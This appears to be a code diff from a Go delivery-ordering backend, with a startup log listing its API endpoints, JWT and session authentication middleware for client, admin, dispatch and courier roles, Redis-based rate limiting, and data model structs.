log.Println("📡 API Endpoints disponibles:")
|
||||
log.Println("")
|
||||
log.Println(" 🌍 PUBLIC:")
|
||||
log.Println(" GET /api/v1/health - Health check")
|
||||
log.Println(" GET /api/v1/products - Liste produits")
|
||||
log.Println("")
|
||||
log.Println(" 👤 CLIENTS:")
|
||||
log.Println(" POST /api/v1/auth/register - Inscription")
|
||||
log.Println(" POST /api/v1/auth/login - Connexion")
|
||||
log.Println(" POST /api/v1/checkout - ✅ PASSER COMMANDE (avec auto-assign)")
|
||||
log.Println(" GET /api/v1/my-commands - Mes commandes avec suivi")
|
||||
log.Println(" GET /api/v1/commands/:id/status - ✅ Statut temps réel")
|
||||
log.Println(" GET /api/v1/commands/:id/tracking - ✅ Suivi détaillé")
|
||||
log.Println(" POST /api/v1/commands/:id/approve - Confirmer livraison")
|
||||
log.Println("")
|
||||
log.Println(" 🚗 LIVREURS:")
|
||||
log.Println(" GET /api/v1/livreur/deliveries - ✅ Mes livraisons (SANS téléphone client)")
|
||||
log.Println(" GET /api/v1/livreur/deliveries/:id - ✅ Détail livraison filtrée")
|
||||
log.Println(" PUT /api/v1/livreur/deliveries/:id/status - MAJ statut (avec GPS)")
|
||||
log.Println(" POST /api/v1/livreur/location/update - MAJ position GPS")
|
||||
log.Println(" GET /api/v1/livreur/queue - Ma queue de livraisons")
|
||||
log.Println("")
|
||||
log.Println(" 🔐 ADMIN:")
|
||||
log.Println(" POST /api/v2/admin/auth/login - Connexion admin")
|
||||
log.Println(" GET /api/v2/admin/protected/orders - Toutes les commandes")
|
||||
log.Println(" POST /api/v2/admin/protected/orders/:id/auto-assign - ✅ Auto-assign GPS")
|
||||
log.Println(" POST /api/v2/admin/protected/commands/auto-assign-all - ✅ Assigner toutes")
|
||||
log.Println(" GET /api/v2/admin/protected/delivery/queues - Queues livreurs")
|
||||
log.Println("")
|
||||
log.Println("⏰ Workers & Services actifs:")
|
||||
log.Println(" - ✅ AutoAssignmentCron (5min) - Assignation backup")
|
||||
log.Println(" - ✅ QueueCleanupScheduler (5min) - 🧹 Nettoyage commandes invalides")
|
||||
log.Println(" - ✅ NotificationWorker (30s) - Notifications ETA")
|
||||
log.Println(" - ✅ StockCleanupWorker (5min) - Nettoyage stock")
|
||||
log.Println("")
|
||||
log.Println("🎯 Fonctionnalités activées:")
|
||||
log.Println(" 1. ✅ Auto-assignation au checkout (immédiate)")
|
||||
log.Println(" 2. ✅ Cron job backup (toutes les 5 min)")
|
||||
log.Println(" 3. ✅ Validation stricte avant ajout à la queue")
|
||||
log.Println(" 4. ✅ Nettoyage automatique des commandes invalides")
|
||||
log.Println(" 5. ✅ Vue livreur filtrée (sans téléphone)")
|
||||
log.Println(" 6. ✅ Vue client avec suivi temps réel")
|
||||
log.Println(" 7. ✅ Gestion automatique statut BUSY (queue >= 10)")
|
||||
log.Println("")
|
||||
log.Println("🔒 Règles de validation automatique:")
|
||||
log.Println(" - Username non vide ✓")
|
||||
log.Println(" - Adresse de livraison non vide ✓")
|
||||
log.Println(" - Coordonnées GPS valides (lat != 0, lng != 0) ✓")
|
||||
log.Println(" - Date de création valide ✓")
|
||||
log.Println(" - Prix total > 0 (recommandé) ✓")
|
||||
log.Println("")
|
||||
log.Println("═══════════════════════════════════════════════════════════")
|
||||
log.Println("")
|
||||
}
|
||||
@@ -0,0 +1,653 @@
|
||||
// ============================================
|
||||
// middleware/middleware_CORRIGES.go
|
||||
// ============================================
|
||||
// Réorganisation complète des middlewares
|
||||
// Déplace ClientMiddleware, AdminMiddleware, etc depuis handlers/auth.go
|
||||
|
||||
package middleware
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"gestion/db"
|
||||
"log"
|
||||
"net/http"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
"github.com/golang-jwt/jwt/v5"
|
||||
)
|
||||
|
||||
// ============================================
|
||||
// TYPES JWT CLAIMS
|
||||
// ============================================
|
||||
|
||||
type ClientClaims struct {
|
||||
ClientID int `json:"client_id"`
|
||||
Username string `json:"username"`
|
||||
Role string `json:"role"`
|
||||
SessionID string `json:"session_id"`
|
||||
jwt.RegisteredClaims
|
||||
}
|
||||
|
||||
type AdminClaims struct {
|
||||
UserID int `json:"user_id"`
|
||||
Username string `json:"username"`
|
||||
Role string `json:"role"`
|
||||
SessionID string `json:"session_id"`
|
||||
jwt.RegisteredClaims
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// VARIABLES GLOBALES
|
||||
// ============================================
|
||||
|
||||
var (
|
||||
userJWTSecret = []byte(os.Getenv("USER_JWT_SECRET")) // ✅ Pour clients
|
||||
adminJWTSecret = []byte(os.Getenv("ADMIN_JWT_SECRET")) // ✅ Pour admin/cabine/livreur
|
||||
roleHierarchy = map[string][]string{
|
||||
"admin": {"admin", "cabine", "livreur", "client"},
|
||||
"cabine": {"cabine", "livreur", "client"},
|
||||
"livreur": {"livreur", "client"},
|
||||
}
|
||||
)
|
||||
|
||||
// ============================================
|
||||
// VALIDATION TOKENS
|
||||
// ============================================
|
||||
|
||||
// validateClientToken valide un token client
|
||||
func validateClientToken(tokenString string, database *db.Database) (*ClientClaims, error) {
|
||||
tokenString = strings.TrimSpace(tokenString)
|
||||
if tokenString == "" {
|
||||
return nil, fmt.Errorf("token vide")
|
||||
}
|
||||
|
||||
log.Printf("🔍 [VALIDATE-CLIENT] Validating client token...")
|
||||
|
||||
// Parser JWT EN PREMIER avec userJWTSecret (CLIENT)
|
||||
token, err := jwt.ParseWithClaims(tokenString, &ClientClaims{}, func(token *jwt.Token) (interface{}, error) {
|
||||
// Vérifier explicitement l'algorithme
|
||||
if token.Method.Alg() != jwt.SigningMethodHS256.Alg() {
|
||||
return nil, fmt.Errorf("unexpected signing algorithm: %v", token.Method.Alg())
|
||||
}
|
||||
return userJWTSecret, nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
log.Printf("❌ [VALIDATE-CLIENT] JWT parse error: %v", err)
|
||||
return nil, fmt.Errorf("jwt parsing failed: %v", err)
|
||||
}
|
||||
|
||||
if !token.Valid {
|
||||
log.Printf("❌ [VALIDATE-CLIENT] Token not valid")
|
||||
return nil, fmt.Errorf("token not valid")
|
||||
}
|
||||
|
||||
claims, ok := token.Claims.(*ClientClaims)
|
||||
if !ok {
|
||||
log.Printf("❌ [VALIDATE-CLIENT] Claims type error")
|
||||
return nil, fmt.Errorf("invalid claims type")
|
||||
}
|
||||
if claims.Role == "" {
|
||||
return nil, fmt.Errorf("role manquant dans le token")
|
||||
}
|
||||
if claims.Issuer != "api-client" {
|
||||
return nil, fmt.Errorf("issuer invalide")
|
||||
}
|
||||
|
||||
if claims.ExpiresAt.Unix() < time.Now().Unix() {
|
||||
return nil, fmt.Errorf("token expiré")
|
||||
}
|
||||
|
||||
log.Printf("✅ [VALIDATE-CLIENT] JWT valid - Username: %s, ClientID: %d", claims.Username, claims.ClientID)
|
||||
|
||||
return claims, nil
|
||||
}
|
||||
|
||||
// validateAdminToken valide un token admin
|
||||
func validateAdminToken(tokenString string, database *db.Database) (*AdminClaims, error) {
|
||||
tokenString = strings.TrimSpace(tokenString)
|
||||
if tokenString == "" {
|
||||
return nil, fmt.Errorf("token vide")
|
||||
}
|
||||
|
||||
log.Printf("🔍 [VALIDATE-ADMIN] Validating admin token...")
|
||||
|
||||
// Parser JWT EN PREMIER avec adminJWTSecret (ADMIN/CABINE/LIVREUR)
|
||||
token, err := jwt.ParseWithClaims(tokenString, &AdminClaims{}, func(token *jwt.Token) (interface{}, error) {
|
||||
if token.Method.Alg() != jwt.SigningMethodHS256.Alg() {
|
||||
return nil, fmt.Errorf("unexpected signing algorithm: %v", token.Method.Alg())
|
||||
}
|
||||
return adminJWTSecret, nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
log.Printf("❌ [VALIDATE-ADMIN] JWT parse error: %v", err)
|
||||
return nil, fmt.Errorf("jwt parsing failed: %v", err)
|
||||
}
|
||||
|
||||
if !token.Valid {
|
||||
log.Printf("❌ [VALIDATE-ADMIN] Token not valid")
|
||||
return nil, fmt.Errorf("token not valid")
|
||||
}
|
||||
|
||||
claims, ok := token.Claims.(*AdminClaims)
|
||||
if !ok {
|
||||
log.Printf("❌ [VALIDATE-ADMIN] Claims type error")
|
||||
return nil, fmt.Errorf("invalid claims type")
|
||||
}
|
||||
if claims.Role == "" {
|
||||
return nil, fmt.Errorf("role manquant dans le token")
|
||||
}
|
||||
if claims.Issuer != "api-admin" {
|
||||
return nil, fmt.Errorf("issuer invalide")
|
||||
}
|
||||
|
||||
if claims.ExpiresAt.Unix() < time.Now().Unix() {
|
||||
return nil, fmt.Errorf("token expiré")
|
||||
}
|
||||
log.Printf("✅ [VALIDATE-ADMIN] JWT valid - Username: %s, Role: %s, UserID: %d Issuer: %s ExpiresAt: %d",
|
||||
claims.Username, claims.Role, claims.UserID, claims.Issuer, claims.ExpiresAt.Unix())
|
||||
|
||||
return claims, nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// MIDDLEWARE AUTHENTIFICATION CLIENT
|
||||
// ============================================
|
||||
|
||||
// ClientMiddleware valide le JWT d'un client
|
||||
func ClientMiddleware(c *gin.Context) {
|
||||
authHeader := c.GetHeader("Authorization")
|
||||
if authHeader == "" || !strings.HasPrefix(authHeader, "Bearer ") {
|
||||
log.Printf("❌ [CLIENT-MWARE] Authorization header manquant")
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token d'autorisation requis"})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
|
||||
tokenStr := strings.TrimPrefix(authHeader, "Bearer ")
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
claims, err := validateClientToken(tokenStr, database)
|
||||
if err != nil {
|
||||
log.Printf("❌ [CLIENT-MWARE] Token invalide: %v", err)
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token invalide"})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ NOUVEAU : Vérifier que le token n'a pas été révoqué
|
||||
valid, err := database.IsTokenValid(tokenStr)
|
||||
if err != nil {
|
||||
log.Printf("❌ [CLIENT-MWARE] Erreur vérification token DB: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur serveur"})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
if !valid {
|
||||
log.Printf("❌ [CLIENT-MWARE] Token révoqué ou expiré")
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token révoqué ou expiré"})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
|
||||
// Stocker les infos du client dans le contexte
|
||||
c.Set("client_id", claims.ClientID)
|
||||
c.Set("username", claims.Username)
|
||||
c.Set("role", claims.Role)
|
||||
c.Set("session_id", claims.SessionID)
|
||||
|
||||
log.Printf("✅ [CLIENT-MWARE] Client %s (ID=%d) authentifié", claims.Username, claims.ClientID)
|
||||
|
||||
c.Next()
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// MIDDLEWARE AUTHENTIFICATION ADMIN
|
||||
// ============================================
|
||||
|
||||
// AdminMiddleware valide le JWT d'un admin (role == "admin" SEULEMENT)
|
||||
// ✅ Remplace le AdminMiddleware de handlers/auth.go
|
||||
func AdminMiddleware(c *gin.Context) {
|
||||
authHeader := c.GetHeader("Authorization")
|
||||
if authHeader == "" || !strings.HasPrefix(authHeader, "Bearer ") {
|
||||
log.Printf("❌ [ADMIN-MWARE] Authorization header manquant")
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token d'autorisation requis"})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
|
||||
tokenStr := strings.TrimPrefix(authHeader, "Bearer ")
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
claims, err := validateAdminToken(tokenStr, database)
|
||||
if err != nil {
|
||||
log.Printf("❌ [ADMIN-MWARE] Token invalide: %v", err)
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token admin invalide"})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ Check révocation
|
||||
valid, err := database.IsTokenValid(tokenStr)
|
||||
if err != nil {
|
||||
log.Printf("❌ [ADMIN-MWARE] Erreur vérification token DB: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur serveur"})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
if !valid {
|
||||
log.Printf("❌ [ADMIN-MWARE] Token révoqué ou expiré")
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token révoqué ou expiré"})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
|
||||
// Vérifier rôle
|
||||
validRoles := []string{"admin", "cabine", "livreur"}
|
||||
isValid := false
|
||||
for _, role := range validRoles {
|
||||
if claims.Role == role {
|
||||
isValid = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !isValid {
|
||||
log.Printf("❌ [ADMIN-MWARE] Role invalide: %s", claims.Role)
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Droits insuffisants - Accès admin requis"})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
|
||||
// Stocker les infos de l'admin dans le contexte
|
||||
c.Set("user_id", claims.UserID)
|
||||
c.Set("username", claims.Username)
|
||||
c.Set("role", claims.Role)
|
||||
c.Set("session_id", claims.SessionID)
|
||||
|
||||
log.Printf("✅ [ADMIN-MWARE] Admin %s (Role=%s, ID=%d) authentifié",
|
||||
claims.Username, claims.Role, claims.UserID)
|
||||
|
||||
c.Next()
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// MIDDLEWARE AUTHENTIFICATION CABINE
|
||||
// ============================================
|
||||
|
||||
// CabineMiddleware valide que l'utilisateur a accès à la cabine
|
||||
// ✅ Remplace le CabineMiddleware de handlers/auth.go
|
||||
func CabineMiddleware(c *gin.Context) {
|
||||
authHeader := c.GetHeader("Authorization")
|
||||
if authHeader == "" || !strings.HasPrefix(authHeader, "Bearer ") {
|
||||
log.Printf("❌ [CABINE-MWARE] Authorization header manquant")
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token d'autorisation requis"})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
|
||||
tokenStr := strings.TrimPrefix(authHeader, "Bearer ")
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
claims, err := validateAdminToken(tokenStr, database)
|
||||
if err != nil {
|
||||
log.Printf("❌ [CABINE-MWARE] Token invalide: %v", err)
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token invalide"})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ Check révocation
|
||||
valid, err := database.IsTokenValid(tokenStr)
|
||||
if err != nil {
|
||||
log.Printf("❌ [CABINE-MWARE] Erreur vérification token DB: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur serveur"})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
if !valid {
|
||||
log.Printf("❌ [CABINE-MWARE] Token révoqué ou expiré")
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token révoqué ou expiré"})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
|
||||
// Vérifier hiérarchie des rôles
|
||||
allowedRoles := roleHierarchy[claims.Role]
|
||||
authorized := false
|
||||
for _, r := range allowedRoles {
|
||||
if r == "cabine" {
|
||||
authorized = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !authorized {
|
||||
log.Printf("❌ [CABINE-MWARE] Role non autorisé: %s", claims.Role)
|
||||
c.JSON(http.StatusForbidden, gin.H{
|
||||
"error": "Droits insuffisants - Accès cabine requis",
|
||||
"your_role": claims.Role,
|
||||
"allowed_roles": "admin, cabine",
|
||||
})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
|
||||
// Stocker les infos
|
||||
c.Set("user_id", claims.UserID)
|
||||
c.Set("username", claims.Username)
|
||||
c.Set("role", claims.Role)
|
||||
c.Set("session_id", claims.SessionID)
|
||||
|
||||
log.Printf("✅ [CABINE-MWARE] Cabine %s (%s) authentifiée", claims.Username, claims.Role)
|
||||
|
||||
c.Next()
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// MIDDLEWARE AUTHENTIFICATION LIVREUR
|
||||
// ============================================
|
||||
|
||||
// LivreurMiddleware valide que l'utilisateur est livreur
|
||||
// ✅ Remplace le LivreurMiddleware de handlers/auth.go
|
||||
func LivreurMiddleware(c *gin.Context) {
|
||||
authHeader := c.GetHeader("Authorization")
|
||||
if authHeader == "" || !strings.HasPrefix(authHeader, "Bearer ") {
|
||||
log.Printf("❌ [LIVREUR-MWARE] Authorization header manquant")
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token d'autorisation requis"})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
|
||||
tokenStr := strings.TrimPrefix(authHeader, "Bearer ")
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
claims, err := validateAdminToken(tokenStr, database)
|
||||
if err != nil {
|
||||
log.Printf("❌ [LIVREUR-MWARE] Token invalide: %v", err)
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token invalide"})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ Check révocation
|
||||
valid, err := database.IsTokenValid(tokenStr)
|
||||
if err != nil {
|
||||
log.Printf("❌ [LIVREUR-MWARE] Erreur vérification token DB: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur serveur"})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
if !valid {
|
||||
log.Printf("❌ [LIVREUR-MWARE] Token révoqué ou expiré")
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token révoqué ou expiré"})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
|
||||
// Vérifier hiérarchie des rôles
|
||||
allowedRoles := roleHierarchy[claims.Role]
|
||||
authorized := false
|
||||
for _, r := range allowedRoles {
|
||||
if r == "livreur" {
|
||||
authorized = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !authorized {
|
||||
log.Printf("❌ [LIVREUR-MWARE] Role non autorisé: %s", claims.Role)
|
||||
c.JSON(http.StatusForbidden, gin.H{
|
||||
"error": "Droits insuffisants - Accès livreur requis",
|
||||
"your_role": claims.Role,
|
||||
"allowed_roles": "admin, livreur",
|
||||
})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
|
||||
// Stocker les infos
|
||||
c.Set("user_id", claims.UserID)
|
||||
c.Set("username", claims.Username)
|
||||
c.Set("role", claims.Role)
|
||||
c.Set("session_id", claims.SessionID)
|
||||
|
||||
log.Printf("✅ [LIVREUR-MWARE] Livreur %s (%s) authentifié", claims.Username, claims.Role)
|
||||
|
||||
c.Next()
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// SESSION MIDDLEWARE CLIENT (Existant)
|
||||
// ============================================
|
||||
|
||||
// ClientSessionMiddleware valide la session Redis du client
|
||||
func ClientSessionMiddleware(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
// Récupérer le username du JWT (DÉJÀ VALIDÉ)
|
||||
username, exists := c.Get("username")
|
||||
if !exists {
|
||||
log.Printf("❌ [SESSION-MWARE] Username manquant du JWT")
|
||||
c.JSON(http.StatusUnauthorized, gin.H{
|
||||
"error": "JWT invalide - username manquant",
|
||||
})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
|
||||
usernameStr := username.(string)
|
||||
|
||||
// Récupérer le client_id du JWT
|
||||
clientID, ok := c.Get("client_id")
|
||||
if !ok {
|
||||
log.Printf("❌ [SESSION-MWARE] client_id manquant du JWT")
|
||||
c.JSON(http.StatusUnauthorized, gin.H{
|
||||
"error": "JWT invalide - client_id manquant",
|
||||
})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
|
||||
clientIDInt, ok := clientID.(int)
|
||||
if !ok {
|
||||
log.Printf("❌ [SESSION-MWARE] client_id malformé: %v", clientID)
|
||||
c.JSON(http.StatusUnauthorized, gin.H{
|
||||
"error": "JWT invalide - client_id malformé",
|
||||
})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
|
||||
// Vérifier la session Redis
|
||||
session, err := database.GetClientSession(clientIDInt)
|
||||
if err != nil {
|
||||
log.Printf("❌ [SESSION-MWARE] Pas de session Redis pour client %d: %v", clientIDInt, err)
|
||||
c.JSON(http.StatusUnauthorized, gin.H{
|
||||
"error": "Session expirée - Veuillez vous reconnecter",
|
||||
"action": "Please login again",
|
||||
})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
|
||||
// Vérifier que les données correspondent
|
||||
if session.Username != usernameStr {
|
||||
log.Printf("❌ [SESSION-MWARE] MISMATCH! JWT=%s, session=%s", usernameStr, session.Username)
|
||||
c.JSON(http.StatusUnauthorized, gin.H{
|
||||
"error": "Session invalide - Mismatch détecté",
|
||||
})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
|
||||
if session.ClientID != clientIDInt {
|
||||
log.Printf("❌ [SESSION-MWARE] MISMATCH! JWT=%d, session=%d", clientIDInt, session.ClientID)
|
||||
c.JSON(http.StatusUnauthorized, gin.H{
|
||||
"error": "Session invalide - client_id mismatch",
|
||||
})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
|
||||
// Prolonger la session
|
||||
if err := database.RefreshSessionTimeout(clientIDInt); err != nil {
|
||||
log.Printf("⚠️ [SESSION-MWARE] Erreur refresh: %v", err)
|
||||
}
|
||||
|
||||
// Charger les infos dans le contexte
|
||||
c.Set("session_id", session.SessionID)
|
||||
c.Set("session", session)
|
||||
c.Set("last_activity", session.LastActivity)
|
||||
|
||||
log.Printf("✅ [SESSION-MWARE] Session valide pour %s (client_id=%d)", usernameStr, clientIDInt)
|
||||
|
||||
c.Next()
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// RATE LIMITING MIDDLEWARE
|
||||
// ============================================
|
||||
|
||||
// RateLimitMiddleware limite le nombre de requêtes par client
|
||||
// Config: 100 requêtes par minute par client
|
||||
func RateLimitMiddleware(c *gin.Context) {
|
||||
// Récupérer le client_id
|
||||
clientID, ok := c.Get("client_id")
|
||||
if !ok {
|
||||
// Pas de client_id (requête publique), pas de rate limit
|
||||
c.Next()
|
||||
return
|
||||
}
|
||||
|
||||
clientIDInt := clientID.(int)
|
||||
rateLimitKey := "ratelimit:" + strconv.Itoa(clientIDInt)
|
||||
|
||||
// Incrémenter le compteur
|
||||
count, err := db.Redis.Incr(db.RedisCtx, rateLimitKey).Result()
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [RATELIMIT] Erreur: %v", err)
|
||||
c.Next()
|
||||
return
|
||||
}
|
||||
|
||||
// Initialiser le TTL à la première requête
|
||||
if count == 1 {
|
||||
db.Redis.Expire(db.RedisCtx, rateLimitKey, 60*time.Second) // 1 minute
|
||||
}
|
||||
|
||||
// Vérifier si dépassement (100 requêtes/min)
|
||||
if count > 100 {
|
||||
log.Printf("❌ [RATELIMIT] Client %d dépassé le limite: %d requêtes/min", clientIDInt, count)
|
||||
c.JSON(http.StatusTooManyRequests, gin.H{
|
||||
"error": "Trop de requêtes - Réessayez dans une minute",
|
||||
})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
|
||||
// Ajouter le header du remaining
|
||||
c.Header("X-RateLimit-Remaining", strconv.FormatInt(100-count, 10))
|
||||
|
||||
log.Printf("📊 [RATELIMIT] Client %d: %d/%d requêtes", clientIDInt, count, 100)
|
||||
|
||||
c.Next()
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// HELPER MIDDLEWARE
|
||||
// ============================================
|
||||
|
||||
// VerifyAuthHeader vérifie que le header Authorization est valide
|
||||
func VerifyAuthHeader(c *gin.Context) {
|
||||
authHeader := c.GetHeader("Authorization")
|
||||
|
||||
if authHeader == "" {
|
||||
log.Printf("❌ [AUTH-HEADER] Authorization header manquant")
|
||||
c.JSON(http.StatusUnauthorized, gin.H{
|
||||
"error": "Authorization header manquant",
|
||||
"hint": "Utilisez: Authorization: Bearer <token>",
|
||||
})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
|
||||
// Vérifier le format "Bearer <token>"
|
||||
parts := strings.Split(authHeader, " ")
|
||||
if len(parts) != 2 || parts[0] != "Bearer" {
|
||||
log.Printf("❌ [AUTH-HEADER] Format invalide: %s", authHeader)
|
||||
c.JSON(http.StatusUnauthorized, gin.H{
|
||||
"error": "Format Authorization invalide",
|
||||
"hint": "Utilisez: Authorization: Bearer <token>",
|
||||
})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("✅ [AUTH-HEADER] Format valide")
|
||||
c.Next()
|
||||
}
|
||||
|
||||
// SessionErrorRecovery récupère les erreurs de session
|
||||
func SessionErrorRecovery(c *gin.Context) {
|
||||
defer func() {
|
||||
if err := recover(); err != nil {
|
||||
log.Printf("❌ [SESSION-ERROR] Erreur système: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur serveur - Session compromise",
|
||||
})
|
||||
}
|
||||
}()
|
||||
|
||||
c.Next()
|
||||
|
||||
if len(c.Errors) > 0 {
|
||||
log.Printf("⚠️ [SESSION] Erreur handler: %v", c.Errors)
|
||||
}
|
||||
}
|
||||
|
||||
// LogSessionMiddleware log toutes les infos de session
|
||||
func LogSessionMiddleware(c *gin.Context) {
|
||||
username, _ := c.Get("username")
|
||||
clientID, _ := c.Get("client_id")
|
||||
sessionID, _ := c.Get("session_id")
|
||||
|
||||
log.Printf("📊 [SESSION-LOG] %s %s | user=%v | client_id=%v | session=%v",
|
||||
c.Request.Method, c.Request.URL.Path, username, clientID, sessionID)
|
||||
|
||||
c.Next()
|
||||
|
||||
log.Printf("📊 [SESSION-LOG] Response: %d", c.Writer.Status())
|
||||
}
|
||||
|
||||
// LoadClientContext charge les infos du client en contexte
|
||||
func LoadClientContext(c *gin.Context, database *db.Database) (*db.SessionData, error) {
|
||||
clientID, ok := c.Get("client_id")
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("client_id manquant du contexte")
|
||||
}
|
||||
|
||||
clientIDInt := clientID.(int)
|
||||
|
||||
// Récupérer la session
|
||||
session, err := database.GetClientSession(clientIDInt)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return session, nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// DATABASE MIDDLEWARE
|
||||
// ============================================
|
||||
|
||||
// DatabaseMiddleware injecte la base de données dans le contexte
|
||||
func DatabaseMiddleware(db *db.Database) gin.HandlerFunc {
|
||||
return func(c *gin.Context) {
|
||||
c.Set("database", db)
|
||||
c.Next()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
package models
|
||||
|
||||
type AlertPolicy struct {
|
||||
ID int `json:"id"`
|
||||
Username string `json:"username"`
|
||||
Status string `json:"status"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
UpdatedAt string `json:"updated_at"`
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
// models/client.go
|
||||
package models
|
||||
|
||||
import "time"
|
||||
|
||||
type Client struct {
|
||||
ID int `json:"id"`
|
||||
Username string `json:"username"`
|
||||
Password string `json:"-"` // Ne jamais exposer le password dans le JSON
|
||||
Nom string `json:"nom"`
|
||||
Prenom string `json:"prenom"`
|
||||
Telephone string `json:"telephone"`
|
||||
Command int `json:"command"`
|
||||
Point int `json:"point"`
|
||||
PointZipette int `json:"points_zipette"`
|
||||
Amende float64 `json:"amende"`
|
||||
CancellationsCount int `json:"cancellations_count"` // ✅ NOUVEAU
|
||||
LastPenaltyReason string `json:"last_penalty_reason"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
package models
|
||||
|
||||
import "time"
|
||||
|
||||
type Command struct {
|
||||
ID int `json:"id"`
|
||||
UserID int `json:"user_id"`
|
||||
Username string `json:"username"`
|
||||
Status string `json:"status"` // "pending", "assigned", "livre", "approved", "cancelled", "disabled"
|
||||
Total float64 `json:"total"`
|
||||
DeliveryAddress string `json:"delivery_address"` // Adresse de livraison pour cette commande
|
||||
LivreurAssign string `json:"livreur_assign,omitempty"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
UpdatedAt time.Time `json:"updated_at"`
|
||||
}
|
||||
|
||||
// CommandItem représente un produit dans une commande
|
||||
type CommandItem struct {
|
||||
ID int `json:"id"`
|
||||
CommandID int `json:"command_id"`
|
||||
ProductID int `json:"product_id"`
|
||||
Quantity int `json:"quantity"`
|
||||
Price float64 `json:"price"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
UpdatedAt time.Time `json:"updated_at"`
|
||||
}
|
||||
|
||||
type CommandPriority struct {
|
||||
ID int `json:"id"`
|
||||
Username string `json:"username"`
|
||||
Status string `json:"status"`
|
||||
Address string `json:"address"`
|
||||
TotalPrice float64 `json:"total_price"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
UpdatedAt time.Time `json:"updated_at"`
|
||||
WaitingSeconds int `json:"waiting_seconds"`
|
||||
WaitingMinutes int `json:"waiting_minutes"`
|
||||
PriorityScore float64 `json:"priority_score"`
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
package models
|
||||
|
||||
import "time"
|
||||
|
||||
type LivreurPosition struct {
|
||||
Latitude float64 `json:"latitude"`
|
||||
Longitude float64 `json:"longitude"`
|
||||
UpdatedAt time.Time `json:"updated_at"`
|
||||
Status string `json:"status"` // "idle", "en_route", "arrived"
|
||||
}
|
||||
|
||||
type DeliveryIssue struct {
|
||||
